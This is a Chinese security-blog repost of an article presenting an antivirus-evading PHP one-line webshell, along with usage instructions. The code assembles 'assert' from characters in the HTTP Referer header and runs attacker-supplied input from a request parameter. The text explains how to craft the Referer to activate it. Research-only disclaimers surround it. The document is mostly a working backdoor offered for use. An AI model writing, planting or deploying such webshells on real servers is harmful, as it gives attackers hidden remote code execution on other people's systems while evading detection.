一个免杀的PHP一句话木马

admin 2022年9月28日12:08:24评论68 views字数 399阅读1分19秒阅读模式

####################
免责声明:工具本身并无好坏,希望大家以遵守《网络安全法》相关法律为前提来使用该工具,支持研究学习,切勿用于非法犯罪活动,对于恶意使用该工具造成的损失,和本人及开发者无关。
####################


<?php/** * Noticed: (PHP 5 >= 5.3.0, PHP 7) * */$password = "uedbox.com";$wx = substr($_SERVER["HTTP_REFERER"],-7,-4);forward_static_call_array($wx."ert", array($_REQUEST[$password]));?>


请求时,设置Referer头,后面以"ass****"结尾即可,比如:Referer: https://www.baidu.com/ass.php



原文始发于微信公众号(菜鸟小新):一个免杀的PHP一句话木马

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年9月28日12:08:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一个免杀的PHP一句话木马https://cn-sec.com/archives/1320434.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息